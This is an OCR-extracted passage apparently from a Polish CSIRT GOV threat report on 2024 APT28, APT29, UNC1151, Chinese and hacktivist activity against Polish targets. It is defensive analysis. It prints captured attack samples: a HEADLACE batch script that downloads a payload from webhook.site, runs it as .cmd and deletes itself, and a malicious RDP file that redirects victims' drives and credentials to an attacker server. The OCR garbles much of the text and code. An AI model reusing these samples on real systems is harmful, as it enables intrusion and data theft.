Rysunek 39. Zawarto$¢ pliku .sxc stanowigcego jeden z elementéw infekcji
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Rok 2024 stanowit takze kontynuacje kampanii dystrybuujacych ztoSliwe oprogramowanie

HEADLACE, wykorzystujgcych w tym celu rdéznego rodzaju motywy socjotechniczne. W roku 2024
byty to miedzy innymi wiadomosci stanowigce oferte sprzedazy auta z floty dyplomatycznej, wystane
ze skrzynki w domenie bigmir.net”, wskazujacej na ukrainskiego dostawce poczty email. Tres¢ wiadomosci
zachecata do otwarcia linku pod pozorem ogtoszenia o sprzedazy samochodu marki Audi®, tymczasem
w rzeczywistosci odnosnik odwotywat sie do strony webhook.site. Skrypt strony weryfikowat wartos¢
nagtowka przegladarki UserAgent - jezeli ofiara korzystata z systemu innego niz Windows, wyswietlany
byt nieztosliwy obrazek; w przeciwnym wypadku na komputer ofiary byto pobierane archiwum ZIP,
zawierajace trzy pliki: EXE, DLL oraz BAT. Plik wykonywalny posiadat podwdjne rozszerzenie .jpg.exe,

aby - podobnie jak we wczes$niejszych kampaniach - imitowac plik graficzny.

File Version Information

Copyright © Microsoft Corporation. All rights reserved.
Product Microsoft® Windows® Operating System
Description Windows Calculator

Original Name CALC.EXE

Internal Name CALC

File Version 6.1.7600.16385 (win7_rtm.090713-1255)

Rysunek 40. Informacja o pliku .exe stanowigcy aplikacje kalkulator Windows 7

W rzeczywistosci byta to jednak kopia autentycznej aplikacji kalkulatora Windows, ktdra
ze wzgledu na podatnosc na technike DLL Side-Loading"” tadowata drugi z plikdw obecnych w archiwum,
czyli ztosliwa biblioteke DLL stanowigcg komponent oprogramowania HEADLACE. Zadaniem tej biblioteki
byto wykonanie ostatniego z trzech plikdw, czyli skryptu BAT.

771585.002 - Resource Development - Establish Accounts: Email Accounts
®T1656 - Defense Evasion - Impersonation
¥T1574.002 - Defense Evasion - Hijack Execution Flow: DLL Side-Loading
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; Format : Portable executable for AMDE4 (PE)

; Section 1. (virtual address 00001000)

; Virtual size : Q000ODFB ( 3576.)
Section size in file : Q0000OEOQOD | 3584.)
Offset to raw data for section: 00000400

Flags 60000020: Text Executable Readable

Alignment : default
PDE File Name : Z:\PROJECTS\WindowsCodecs'x64\Release\WindowsCodecs.pdb
05 type : M5 Windows
; Application type: DLL
L 1
s ¥
® s =
lea rex, Command : = bat ™
call cs:system
P
® & 7
loc_180001016:
mowv eax, 1
add rsp, 28h
retn
DllMain endp

Rysunek 41. Analiza dziafania biblioteki .dll uruchamiajgcej plik .bat

W wyniku uruchomienia pliku BAT nastepowato pobranie z wykorzystaniem Microsoft Edge
z zasobu w domenie webhook.site pliku o rozszerzeniu .jpg?, ktory byt przenoszony do innej lokalizacji?,

zmieniajac rozszerzenie pliku na .cmd celem wykonania.

decho off

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 & start "" /min "%-dpnx0" %* & exit
start msedge data:text/html;
<title>IMG-387470302099. jpg</ title><iframe src="ht
@; right:0; width:100%; height:100%; border:none;
timeout 15 > nul

move %userprofile%\downloads\IMG-387470302099.jpg %programdata%\IMG-387470302099.cmd > nul
type nul > %userprofile%\downloads\IMG-387470302099.jpg

call %programdata%\IMG-387470302099.cmd

del /q /f /a %0 & exit

bhook.site/ " style="position:fixed; to
in:0; padding:@; overflow:hidden; z-index

left:0; bottom:
'>¢/iframe>

Rysunek 42. Zawartosc pliku .bat

W nastepstwie ataku czes¢ artefaktow byta usuwana, aby zminimalizowac ryzyko wykryciaZ.
Ostateczny payload zwracat informacje ze stacji roboczej ofiary - w tym liste plikdw z folderow Pulpit

i Pobrane, a takze adres IP.

2071036.008 - Defense Evasion - Masquerading: Masquerade File Type
771070.010 - Defense Evasion - Indicator Removal: Relocate Malware
271070.009 - Defense Evasion - Indicator Removal: Clear Persistence
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DIPLOMATIC CAR FOR SALE Price : 5.500 Euro
Model : Audi Q7 Quatro Winter tires included in the price, perfect condition, available immediately
Engine : 3.000 TDI For more information, please contact

B Fuel : Diesel

Transmission : Automatic
Mileage : 336.000 km
Year : 2009

Rysunek 43. Grafika stanowigca tzw. decoy file

W podobnej kampanii z maja 2024 roku gtdwnym motywem ataku byta rowniez sprzedaz, ale

innego rodzaju produktu.

Od Wrope Cekper <biznessman@bigmir.net>

Temat Rozwigzatem Twoj problem

Witaj Pawel!

Zrobitem maty research i znalaziem te tajemniczg Ukrainke.

Teraz jest w Warszawie.

Prowadzi dos¢ nietypowg firme zajmujacag sie sprzedazg uiywane] bielizny.
ma takie klientéw z wladz wyiszego szczebla w Polsce i na Ukrainie.

Wszelkie informacje na ten temat dostepne sg pod tym linkiem - ALINA-BOKLAN

Rysunek 44. Wiadomo$c¢ phishingowa
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W tym przypadku ponownie w tresci wiadomosci zawarty byt odnosnik do zewnetrznego zasobu,
ale tym razem do ustugi run.mocky.io - stuzacej do tworzenia i testowania wtasnych API. Po kliknieciu
linku nastepowato przekierowanie na strone webhook.site, gdzie - podobnie jak w przypadku poprzedniej
kampanii - weryfikowana byta wartos¢ UserAgent. W przypadku wartosci wskazujacej na system Windows
na stacji roboczej uzytkownika umieszczane byto archiwum ZIP zawierajace trzy pliki: EXE, DLL oraz
BAT, a po uruchomieniu pliku wykonywalnego o podwdjnym rozszerzeniu imitujgcym grafike nastepowat
taki sam proces infekcji, jak we wczesniejszej kampanii. W tym przypadku, w celu odwrdcenia uwagi
ofiary od aktywnosci majgcej miejsce na jej maszynie wyswietlana byta fotografia osoby wraz z linkami
do profili w mediach spotecznosciowych.

Innym rodzajem statej aktywnosci phishingowej obserwowanej ze strony grupy APT28 byty
wiadomosci podszywajace sig pod administratoréw poczty? i naktaniajgce do podania swoich danych
logowania w fatszywym panelu Outlook Web Access. W 2024 roku miato miejsce kilka odston tego rodzaju
kampanii wymierzonych w administracje rzadowa, wsrdd ktorych pojawiaty sig zaréwno panele zmiany
hasta w jezyku polskim, jak i angielskim, a takze takie, ktore miaty stuzy¢ zwiekszeniu rozmiaru skrzynki
email. Tego rodzaju phishing stanowi klasyczng metode pozyskiwania danych wrazliwych, a skutecznosé
ataku zwigzana jest z dojrzatoscig poszczegdlnych podmiotow w zakresie stosowanych Srodkow

cyberbezpieczenstwa, ktdre sg jednoczesnie w obszarze zainteresowania aktora.

Outlook'Web App

n’ Zmienianie hasta

() Zapisz

Bz Outlook

(@ add space

Rysunek 45. Fatszywe panele OWA

% T1656 - Defense Evasion - Impersonation
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Wsrad dziatan wpisujacych sie z duzym prawdopodobienstwem w klaster aktywnosci APT28 byty

takze ataki bruteforce? typu password spraying® oraz credential stuffing? na konta poczty elektroniczne;
oraz ustug VPN? w celu uzyskania dostepu do poczty elektronicznej oraz innych zasobdw przetwarzanych
przez pracownikéw podmiotow znajdujacych sie w zainteresowaniu grup APT o konotacji rosyjskiej.
Celem ukrycia proby przetamania zabezpieczen, aktor stosowat dostep poprzez sieci anonimizujace oraz
tzw. residential proxy?, wykorzystujgce skompromitowane urzadzenia sieciowe nalezace do prywatnych
uzytkownikow lub matych firm, zwykle o geolokalizacji wskazujacej na ten sam kraj.

W roku 2024 odnotowane zostaty takze dziatania aktora polegajgce na zastosowaniu techniki
DCSync? w celu masowej replikaciji danych logowania uzytkownikow w ramach kontrolera domeny, tzw.
credential dump. Moze to nies¢ za sobg skutek w postaci zapewnienia dtugotrwatego dostepu aktora
do infrastruktury poprzez utworzenie tzw. Golden Ticket-u® i przeprowadzenie ataku Pass the Ticket®.
Dziatania te wpisujg sie w modus operandi grupy, ktdra po uzyskaniu dostepu do infrastruktury stosuje
tzw. techniki living offthe land, polegajace na wykorzystaniu dostepnych narzedzi systemowych do eskalacji
uprawnien czy eksfiltracji danych.

Kolejnym modus operandi grupy w roku 2024 dotyczyt mozliwosci zachowania persystencji
w dostepie do poczty elektronicznej, co stanowi takze kontynuacje dziatan polegajacych na zmianie
uprawnien do folderéw®, opisanych w Raporcie Zespotu CSIRT GOV za rok 2023%. Rejestrowany przez
CSIRT GOV wektor ataku dla tej eksploitacji polegat przede wszystkim na uzyskaniu dostepu na prawach
administratora do ustugi Microsoft Exchange, gdzie nastepowato nadanie uprawnien ,Default”
i ,Anonymous” z wartoscig ,Owner” dla folderow w skrzynkach wybranych uzytkownikéw. W ten sposdb
kazdy uzytkownik w domenie miat mozliwos¢ dostepu do tych folderow na prawach wtasciciela, a aktor
potrzebowat tylko dostepu do dowolnej skrzynki, aby odczytywac korespondencje osob bedacych
w jego zainteresowaniu. Inny ujawniony rodzaj dostepu do poczty polegat na wykorzystaniu istniejgcych
kont* technicznych w ustudze Microsoft Exchange oraz nadaniu dla nich roli dostepu Application
Impersonation, co utrudniato mozliwosci wykrycia tego rodzaju dostepu. Rola ta pozwala aplikacjom
471110 - Credential Access - Brute Force
#T1110.003 - Credential Access - Brute Force: Password Spraying
%7T1110.004 - Credential Access - Brute Force: Credential Stuffing
2771190 - Initial Access - Exploit Public-Facing Application
%1665 - Command and Control - Hide Infrastructure
#7T1003.006 - Credential Access - 0S Credential Dumping: DCSync
% T1558.001 - Credential Access - Steal or Forge Kerberos Tickets: Golden Ticket
¥T1550.003 - Defense Evasion - Use Alternate Authentication Material: Pass the Ticket

271098.002 - Persistence - Account Manipulation: Additional Email Delegate Permissions

% Raport o stanie bezpieczenstwa cyberprzestrzeni RP za rok 2023, Rozdziat 8, punkt 8.1 - Dziatania sektorowe mitygujgce podatnosci MS
EXCHANGE
%T1078 - Defense Evasion - Valid Accounts
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na wykonywanie w imieniu uzytkownikow roznych operacji, w tym dostep do folderow poczty m.in.

celem ich odczytu. Pomimo przeprowadzonych przez Zespét CSIRT GOV dziatan w zakresie identyfikacji
i mitygacji zagrozenia, w dalszym ciggu obserwowano nieuprawniony dostep aktora z wykorzystaniem tej

podatnosci w srodowiskach on-premise MS Exchange.

APT29

Majac na wzgledzie dziatania cyberofensywne o podtozu panstwowym, przypisywanie atakow
do okreslonego rodzaju grup nie zawsze jest mozliwe, a czasami wymaga uptywu czasu, aby powigzac
okreslonego typu zagrozenia z aktywnoscig konkretnego aktora. Tego typu incydentem byta kampania
spearphishingowa®, ktdra odbita sig szerokim echem w pazdzierniku 2024 roku, wykorzystujaca motyw
bezpieczenstwa dotyczacy wdrozenia architektury Zero Trust przez podmioty z obszaru administracji
rzadowej i wojska. Nietypowym elementem przesytanych wiadomosci w ramach kampanii, m. in.
w jej odstonie w Polsce, byto uzycie kilku nadawcow, takze tych wskazujacych na pochodzenie z samej
atakowanej instytucji. Kampania podszywata sig pod firme Amazon, gdzie w polu ,0d” wiadomosci
umieszczony zostat adres wskazujacy na pracownika firmy, a takze adresy osdb nalezacych do atakowane;j
instytucji. W rzeczywistosci wiadomosci wysytane byty z wykorzystaniem przejetego dostepu do poczty

zagranicznych firm.

Od  AWS: David Ladd <daveladd@amazon.coms; gov.pls; gov.pls; @totalconstruction.com.au>
Do Undisclosed recipients; 22.10.2024, 09:07
Temat Data Protection with Zero Trust Architecture

Drodzy Kliend,

Paristwa izacja we otp Z Mi pod dowej Agencji ds. go Centrum ynacji Cyberb i poczeta juz proces
przyjmowania architektury Zero Trust.

Podejscie Zero Trust pomaga chronié dane | toz &¢ ikéw poprzez wp iie silnego zarzadzania, umozliwiaj i i wymiane danych z kolegami i
partnerami zewnetrznymi.

Ostatecznie musimy mie¢ pewnosg, ze mamy idobrze i ie, zanim wdroz je szeroko. Prosze upewnic sig, ze zatgczony chroniony plik jest otwarty
prawidfowo, aby sprawdzi¢, czy urzadzenie jest zgodne. Poniewa? podejécie Zero Trust zapewnia przejrzysty dostep de danych, nie ma potrzeby ia danych uwi i

W przypadku wystapienia jakichkolwiek biedow nie jest wymagane podjgcie zadnych dodatkowych dziatari. Amazon Q Business generatywny asystent oparty na sztucznej inteligencji
automatycznie stworzy raport. Rozwigzemy ten problem szybko.

Dzigkuje,

David Ladd
Affairs Manager — Cy ity and Digital Diplomacy
European Government Affairs
Rue Montoyer 51, 51000 Brussels
mail | daveladd@amazon.com
Phone | +32 479 761581

aws

Confidentiality Warning - Disclaimer: This e-mail contains information intended only for the individual or entity to which it is addressed and may contain confidential material. If the reader of this e-mail is not the intended recipient or the
employee or agent responsible for delivering it to the intended recipient, any dissemination, copying of other use of, or taking of any action in reliance upon this e-mail is strictly prohibited. The sender bears no responsibility for any loss,
disruption or damage to your data o computer system that may occur while using data contained i, or transmitted with, this e-mail. If you received this e-mail in error, please immeiately notify the sender by return e-mail and delete
the material from any computer. Any views expressed are personal unless otherwise stated

. Zero Trust Architecture Configuration.rdp 14,6 KB

Rysunek 46. Kampania z podszyciem pod firme Amazon

% T1566.001 - Initial Access - Phishing: Spearphishing Attachment
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Pewnym novum uzytym w kampanii byt sam zatgcznik bedacy plikiem konfiguracyjnym RDP*
(Zero Trust Architecture Configuration.rdp), podpisanym certyfikatem Let's Encrypt, co miato na celu

ominigcie zabezpieczen weryfikujacych podejrzane pliki.

& Rermotedpp >

C] Czy masz zaufanie do wydawcy tego programu RemoteApp?

Ten program RemoteApp moze uszloodzic komputer lokalny lub zdalmy. Przed nawigzaniem
palaczenia w celu uruchomienia tego programu upewnij sie, 7e ufasz wydawcy.

&__ Wydawca: _cloud

f} Typ: Program RemateApp
Scieka: AWS Secure Storage Connection Stability Test v240.
MNazwa: AWS Secure Storage Connection Stability Test v240..
Kompister zdalmy: eu-south-Z-aws. cloud

[] Nie pytaj ponownie o polaczenia zdalne z tym wydawcs
v Polaz szczegaly Podiacz Anuluj

Rysunek 47. Potaczenie do serwera RDP aktora

Konfiguracja potgczenia RDP zawarta w pliku zawierata informacje o docelowym adresie serwera
RDP, ktory swojg nazwg sugerowat autentyczny adres wskazujgcy na ustuge AWS®. Po uruchomieniu
pliku konfiguracyjnego RDP nastepowato potgczenie do serwera atakujgcego, w wyniku czego atakujgcy

mogli uzyskac dostep do zasobow lokalnych i danych uwierzytelniajgcych, eksfiltrowac dane i instalowac
ztosliwe oprogramowanie.

% 70886 - Execution - Remote Services
771583.001 - Resource Development - Acquire Infrastructure: Domains
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alternate full address:s:eu-central-1. .cloud
full address:s:eu-central-1. .cloud
drivestoredirect:s:*

username:s:

redirectprinters:i:1

redirectcomports:i:1

redirectsmartcards:i:1

redirectwebauthn:i:1

redirectclipboard:i:1

redirectposdevices:i:1

audiocapturemode:i:1

remoteapplicationicon:s:C:
\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5nih2txyewy\Assets\Health.contrast-white.ico
remoteapplicationmode:i:1

remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854
remoteapplicationexpandcmdline:i:@

remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAMES %USERDNSDOMALINS
remoteapplicationprogram:s: || AWS Secure Storage Connection Stability Test v24091285697854
audiomode:i:@

screen mode id:i:1

use multimon:i:0

desktopwidth:i:1920

desktopheight:1:1080

session bpp:i:32

compression:i:1

keyboardhook:i:2

videoplaybackmode:i:1

connection type:i:7

networkautodetect:i:1

bandwidthautodetect:i:1

displayconnectionbar:i:1

enableworkspacereconnect:i: @

disable wallpaper:i:0

allow font smoothing:i:@

Rysunek 48. Wycinek pliku konfiguracyjnego .rdp

Przedstawiona kampania zostata przypisana przez analitykow cyberbezpieczenstwa firmy
Amazon® oraz Microsoft” do klastra aktywnosci znanego jako APT29 lub Midnight Blizzard. Istniejg
pewne przestanki, ktdre mogg potwierdzac te atrybucje: aktor ten znany jest z atakow o charakterze
cyberwywiadowczym na podmioty rzadowe i wojskowe, a same adresy email zastosowane w spoofingu
wiadomosci mogty by¢ pozyskane przez aktora w wyniku wczesniejszych kompromitacji, np. ataku

na firme Microsoft na poczatku 2024 roku®.

% https://aws.amazon.com/blogs/security/amazon-identified-internet-domains-abused-by-apt29/

3‘7htt})s://vvww.microsoft.com/en—us/security/blog/ZOZA/]O/Z‘?/midnight—blizzard—conducts—large—scale—spear—phishing—campaign—using—rdp—
files

“0https://msrc.microsoft.com/blog/2024/01/microsoft-actions-following-attack-by-nation-state-actor-midnight-blizzard/

68




UNC1151

W 2024 roku odnotowano takze klaster aktywnosci grupy UNC1151. Gtownym celem grupy jest
prowadzenie dziatalnosci dezinformacyjnej, do czego wykorzystuje informacje pozyskiwane w wyniku
wytudzenia poswiadczen do skrzynek poczty elektronicznej. W dalszym ciggu, podobnie do ubiegtych lat,
obserwowane byty kolejne odstony kampanii wymierzone w uzytkownikow poczty u najpopularniejszych
polskich, jak rowniez zagranicznych dostawcow - Interia, Onet, Wirtualna Polska, 02 czy Gmail. Atakujacy
wysytali wiadomosci e-mail podszywajace sie pod administratoréw poczty, naktaniajac uzytkownikow

do zalogowania sie poprzez fatszywy panel logowania.

£ Ta wiadomosc pochodzi od Bezpiecznego Nadawey - Dowiedz

Droga Uzytkowniczko / Drogi Uzytkowniku,

Administracja sprawdza poczte, poniewaz z Twoejgo konta wysylany
jest spam. Ponownie autoryzuj za pomoca specjalnego formularza.
W przeciwnym razie Twoje konto zostanie zablokowane w ciagu 3 dni.

Pozdrawiamy,
Zespol INTERIAPL.

& Witaj, Drogi Uzytkowniku!

sprawdz poprawnosc hasla, twoje dane nie zostaly potwierdzone, w Zwiazku z tym
konto zostanie zablokowane w clagu 2 dni. Aby odblokowac konto konieczne jest
udowodnic, ze nie jestes batem. Aby potwierdzic rejestracie kliknij w link.

W przeciwnym razie Twoje konto zostanie trwale usuniete.

Z wyrazami szacunku, grupa interia.pl.

GRUPA INTERIA.PL 5p. z 0.0. 5p. k. 2 siedziba w Krakowie, 31-946 Krakow, os.
Teatraine 9A, wpisana do rejestru przedsiebiorcow prowadzonego w Krajowym

Rejestrze Sadowym przez Sad Rejonowy w Krakowie, X| Wydzial Krajowego Rejestru
Sadowego pod numerem KRS: 416593, NIP 5272644300.

Rysunek 49. Przyktadowe wiadomo$ci phishingowe kierowane do uzytkownikéw poczty Interia
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Interi™ POCZTA

Potwierdzenie
dostepu

Rysunek 50. Fatszywy panel logowania do poczty Interia

Charakterystyka dziatania aktora w ramach prowadzonych kampanii jest zaktadanie skrzynek
email u tych samych ustugodawcdw co potencjalne ofiary, o nazwach podszywajacych sig pod serwis
np. support czy obstuga klienta, jak réwniez rejestrowanie domen hostujgcych fatszywe panele logowania
znazwa sugerujaca portal typu help center, walidacja czy grupa ochrony, czesto w domenach najwyzszego
rzedu typu .top, .life czy .world.

Przechwycone dane logowania mogty byC nastgpnie wykorzystywane do przejecia kont
uzytkownikéw. Dostep aktora do skrzynki pocztowej umozliwiat wykorzystanie korespondencji

do ewentualnych dalszych dziatan dezinformacyjnych.
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Drugim rodzajem aktywnosci grupy UNC115T w roku 2024 byta dystrybucja ztosliwego
oprogramowania w wiadomosciach spearphishingowych. Ten rodzaj atakéw byt rowniez charakterystyczny
dla dziatan grupy w 2023 roku. W tym przypadku motywy wykorzystywane przez aktora w gtéwnej mierze
skupiaty sig na fakturach i kontrolach BHP. Podobnie do roku poprzedzajacego, do typowej wiadomosci
emailwramach kampanii zataczone byto archiwum ZIP lub RAR, zawierajgce plik pomocy systemu Windows
o rozszerzeniu CHM. Po jego uruchomieniu nastepowato wyswietlenie pliku typu decoy nawigzujgcego
do motywu wiadomosci, a w tle wykonywany byt kod JavaScript odwotujacy sie do zewnetrznego zasobu
celem pobrania kolejnego etapu infekcji. Ostatecznie stacja robocza ofiary mogta zostac zainfekowana
beaconem Cobalt Strike, pozwalajgcym na komunikacje atakujacego z zainfekowanym systemem

i bedacego rodzajem backdoora.

Regulamin swiadczenia krajowych uslug przewozowych
i pocztowych DHL Parcel Polska Sp. z 0.0.

PRZYKLADOWA LISTA KONTROLNA
Z PRZEGLADU WARUNKOW BHP I PPOZ
PRZYGOTUJACA DO KONTROLI PANSTWOWEJ
INAPEKCJI PRACY

1 Z STEPNIEWSCY

oo ihs 89, ol bnatatab cimin .

Rysunek 51. Pliki decoy w kampanii UNC1151
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Dziatania w cyberprzestrzeni prowadzone sg takze przez Panstwo Srodka, ktérego rosnacy

potencjat ma przetozenie na jego zdolnosci cyberofensywne. W ostatnich latach zagrozenia ze strony
chinskich grup APT przybierajg na sile, a ich skala i skutecznos¢ stajg sie coraz bardziej istotnym
wyzwaniem dla bezpieczenstwa panstw i ich strategicznych sektorow. Wiele dostepnych zrddet pozwala
takze na potwierdzenie rosnacego potencjatu atakow APT z tego kierunku. Grupy cyberprzestepcze oraz
cyberofensywne sa odpowiedzialne za liczne ataki wymierzone w infrastrukture krytyczng, sektory
technologiczne oraz administracje publiczng na catym Swiecie. Do sektorow najbardziej narazonych na
dziatania chinskich aktoréw naleza: energetyka, telekomunikacja oraz transport. Ztosliwa aktywnosc¢
tych grup obejmuje szeroki wachlarz dziatan, takich jak kradziez wrazliwych danych czy tez przetamanie
zabezpieczen systemdw teleinformatycznych przy wykorzystaniu wyrafinowanych technik, w tym
tzw. exploitow, podatnosci zero-day, phishingu ukierunkowanego oraz zaawansowanych narzedzi do
utrzymania dostepu w skompromitowanych systemach. Dziatania tego typu cechuje zwykle dtugotrwata
obecnos¢ w systemach ofiar oraz precyzyjne ukierunkowanie na wybrane cele po wczesniejszej fazie
rozpoznania.

Ponizej przyblizone zostaty dwie aktywnosci w cyberprzestrzeni RP odnotowane w roku 2024,

ktore jednoczesnie wpisuja sie w Swiatowe trendy aktywnosci chinskich aktoréw cyberofensywnych.

Volt Typhoon

Rok 2024 zaznaczyt sig nagtosnieniem kampanii grupy Volt Typhoon, ktéra zostata opisana przez
amerykanska agencje CISA i dotyczyta zidentyfikowanej aktywnosci tej grupy w roznych sektorach
w USA, m.in. w sektorze telekomunikacyjnym“. Aktywno$¢ tej grupy odnotowano takze w polskiej
cyberprzestrzeni. Grupa ta koncentruje swoja uwage na dziataniach cyberszpiegowskich, a obszar
jej zainteresowania to w gtownej mierze sektory finansowe, gospodarki morskiej, energii, telekomunikacji
i technologii. Wykryta w Polsce aktywno$¢ grupy polegata na uzyskaniu nieautoryzowanego dostepu
do infrastruktury poprzez wykorzystanie podatnosci urzadzenia sieciowego. Atakujacy przeprowadzit
nastepnie wewnetrzny rekonesans, do czego wykorzystat otwartozrodtowe narzedzie gogo*. Wskutek
ataku aktor przeprowadzit eskalacje uprawnien® i uzyskat dostep do segmentu sieci teleinformatyczne;j.
Aktor wykorzystat techniki znane jako living off the land** celem uzyskania persystencji*® oraz prowadzenia

kolejnych dziatan w systemie.

“"Raport CISA “https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a"

“2Narzedzie w jezyku Go, stuzace do zautomatyzowanego skanowania infrastruktury, oryginalnie przeznaczone do uzytku przez zespoty Red
Team.

3T1068 - Exploitation for Privilege Escalation
#T1218 - System Binary Proxy Execution
71078 - Valid Accounts
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APTI15

W 2024 roku CSIRT GOV dokonat takze analizy ztosliwej komunikaciji sieciowej wychodzace;
zserwera aplikacyjnego podmiotu w ramach sektora transportu. Wykazano, iz przedmiotowa komunikacja
skierowana byta do serwera C2 wykorzystywanego przez grupe APTI15. Do uruchomienia ztoSliwego
kodu na serwerze wykorzystana zostata technika DLL Side-Loading*, polegajaca na wykorzystaniu
istniejacych aplikaciji lub procesow, ktdre w trakcie swojego dziatania prébuja zatadowac zewnetrzne
biblioteki, ktdre zostajg przez atakujacego podmienione na zawierajace ztosliwy kod. W tym przypadku
atakujacy wykorzystat plik stanowigcy jeden w modutow oprogramowania Vmware, ktdry przy
uruchomieniu zatadowat odpowiednio spreparowana biblioteke i wykonat zawarty w niej ztosliwy kod*’.
Uruchomienie aplikacji powodowato nawigzanie komunikacji sieciowej z zasobem kontrolowanym przez
atakujacych“. W wyniku przeprowadzonej analizy ustalono, iz ztoSliwa biblioteka zostata skompilowana
przy wykorzystaniu narzedzia Merlin, stuzacego do zarzadzania serwerem C2 i instalacji w systemie
ofiary agenta. Pomimo podjecia przez atakujgcych dziatan majacych na celu uniknigcie wykrycia ztosliwej
aktywnosci, na skompromitowanym serwerze wykryto artefakty umieszczenia w systemie trojana PlugX,
stanowigcego zaawansowane narzedzie typu Remote Access Trojan (RAT), charakterystycznego dla
chinskiego klastra aktywnosci.

Ponizej przedstawiono przyktadowy schemat faz ataku wykorzystywany m.in. przez grupe APTI5:

Rozpoznanie

mapowanie sieci identyfikacja podatnosci zbieranie informacji o personelu

|¢

Uzbrajanie

przygotowanie ztosliwego komponentu {droppera, exploitu) pod wykryte podatnosci

|¢

Dostarczanie

wiadomosci typu spear-phishing wykorzystanie podatnosci w systemie

Instalacja ztosliwego oprogramowania w sieci

Merlin PlugX Ketrican Cobalt Strike

|¢

Zarzadzanie

|¢

wykorzystanie szyfrowanych tuneli do komunikacji z serwerami C&C

|¢

Dziatanie

uzyskanie trwatego dostepu do sieci eksfiltracja danych przejecie kont administracyjnych

Rysunek 52. Fazy ataku grupy APT15 (tzw. kill chain)

%T1574.002 - Defense Evasion - Hijack Execution Flow: DLL Side-Loading
“7T1055 - Process Injection
“8T1573 - Encrypted Channel
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Haktywisci

Wybuch wojny w Ukrainie wigzat sie z powstaniem kolektywdw, ktére mozna postrzegac jako
pewnego rodzaju ruchy cyberpartyzanckie. Samo pojecie ,haktywizmu” wywodzi sie z potgczenia stow
,hakowac” i ,aktywizm”, a stanowi - jak sama nazwa wskazuje - przeniesienie do cyberprzestrzeni dziatan
aktywistow walczacych o rdznego rodzaju cele polityczne czy ideologiczne. W przypadku ,haktywistow”
prorosyjskich, motywacjg prezentowang przez nich w mediach spotecznosciowych jest przede wszystkim
wsparcie dziatan wojsk rosyjskich i ,ukaranie” panstw sojuszu NATO za wsparcie wojskowe Ukrainy.

Srodowisko prorosyjskich haktywistycznych kolektywéw jest rozproszone w grupy wykorzystujace
kanaty na portalach spotecznosciowych do komunikaciji, ktore regularnie wigza sie w koalicje, co
nadaje tego typu ruchom znaczng dynamike. Wsrdd najbardziej znanych grup nalezy wskazac¢ przede
wszystkim Killnet, Anonymous Sudan (pomimo swojej nazwy wpisujaca sie w narracje Rosji), Cyber
Army of Russia Reborn, XAKNET, Solntsepek, UserSec, NoName057(16), Zarya, Beregini oraz Z-Pentest.
Grupy te powstawaty na przestrzeni kilku ostatnich lat, przyciggajac haktywistdw chcacych wspierac czy
uczestniczy¢ w kreowanej przez te grupy narracji.

0d poczatku wojny w Ukrainie gtdwnym modus operandi haktywistow prorosyjskich byty i sg
przede wszystkim ataki DDoS, silnie nagtasniane na kanatach spotecznosciowych”. Nie wymagaja one od
atakujacych duzych umiejetnosci technicznych, a ich efekt jest w gtdwnej mierze propagandowy. Ataki te
ukierunkowane sg na naruszanie dostepnosci zasobow internetowych, ale zwykle nie maja dtugotrwatych
skutkow. Z perspektywy haktywistow natomiast tego rodzaju ataki pokazuja rzekoma stabo$¢ panstw
wrogich, a takze, wedtug atakujacych, domniemang skuteczno$¢ tego typu dziatan.

W 2024 roku Zespot CSIRT GOV zarejestrowat takze ztosliwg aktywnosc ukierunkowang na podmioty
krajowe dotyczacq prob wtaman do systemow klasy IloT (Industrial Internet of Things) o zdalnym dostepie
w sieci Internet, m.in. poprzez panele HMI (Human-Machine Interface). Jest to nowy przejaw zagrozen
haktywistycznych, ktdre w pewien sposob znalazty sie w nurcie zainteresowan wskazanych grup. Ataki
natego rodzaju urzadzenia wynikaty w wielu wypadkach z faktu braku nalezytej ochrony dostepu zdalnego.
Stabosci te zostaty takze dostrzezone przez grupy haktywistyczne. Grupy te, korzystajac z dostepnosci
paneli logowania w sieci Internet, prowadzity dziatania zmierzajace do uzyskania nieuprawnionego
dostepu, gtownie zwigzanego z wykorzystaniem domyslnych danych logowania. Zagrozenie to dotyczyto
zwtaszcza obiektow takich jak zaktady oczyszczania Sciekow, uzdatniania wody, spalania odpadow

czy administracji obiektami. Atakujacy przy wykorzystaniu dostgpnosci ustug w publicznej sieci

“7agrozenia atakami DDoS opisano w 2. rozdziale Raportu.
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Internet prébowali uzyskiwac nieautoryzowane dostepy do zasobdw teleinformatycznych systemow

sterowania technologiami operacyjnymi. Zwiekszato to ryzyko dostepu do paneli i dokonywania przez
nich prob manipulacji ustawieniami. Préby przeprowadzanych atakéw byty rejestrowane, a nastepnie
publikowane na kanatach spotecznosciowych celem pokazania skutecznosci dziatan. Ataki tego typu
nie charakteryzowaty sig zaawansowanym wektorem, a wynikaty w gtdwnej mierze z braku $wiadomosci
podmiotdw realizujgcych instalacje techniki OT dla réznego rodzaju jednostek publicznych, jak rowniez
i samych jednostek, ktére w pewnym zakresie pozostawiaty bezpieczenstwo w gestii instalatorow.
W ramach krajowego systemu cyberbezpieczenstwa prowadzone byty na biezaco dziatania zmierzajace
do minimalizacji tego typu ryzyka, jednakze ciggta aktywnos¢ grup stanowi w dalszym ciggu wyzwanie
w tym zakresie i 0znacza konieczno$¢ wzmozenia monitorowania, jak rowniez uwzglednienia tego typu

zagrozen przez kontraktordw i podmioty publiczne.

Cyberprzestepczos¢

Kolejnym z rodzajow aktywnosci odnotowywanych przez Zespot CSIRT GOV w 2024 roku byty takze
zagrozenia zwigzane z wykorzystaniem infrastruktury przez chinskie grupy cyberprzestepcze. W 2024 roku
Zespot CSIRT GOV zidentyfikowat w polskiej cyberprzestrzeni urzadzenia typu SOHO (Small office/home
office), ktore wskazywaty na mozliwos¢ przynaleznosci do botnet-u Quad?7 (7777). Botnet ten budowany
jest przede wszystkim w oparciu o podatne urzadzenia TP-Link, ktdre po zainfekowaniu otwierajg port
T77T7/TCP i przedstawiajg sie najczesciej bannerem typu xlogin:, a takze wykorzystuja port 11288/TCP
do ustanowienia tunelu socks5 proxy. Proxy udostepnione na porcie 11288 umozliwia atakujgcym uzywanie
przejetej infrastruktury do anonimizacji ruchu z wykorzystaniem skompromitowanych urzadzen SOHO.
Wykorzystywanie powyzszego botnetu jest przypisywane chinskim grupom cyberprzestepczym, ktorych
celem jest wykonywanie atakow typu password spraying w kierunku kont w ustudze Microsoft 365.

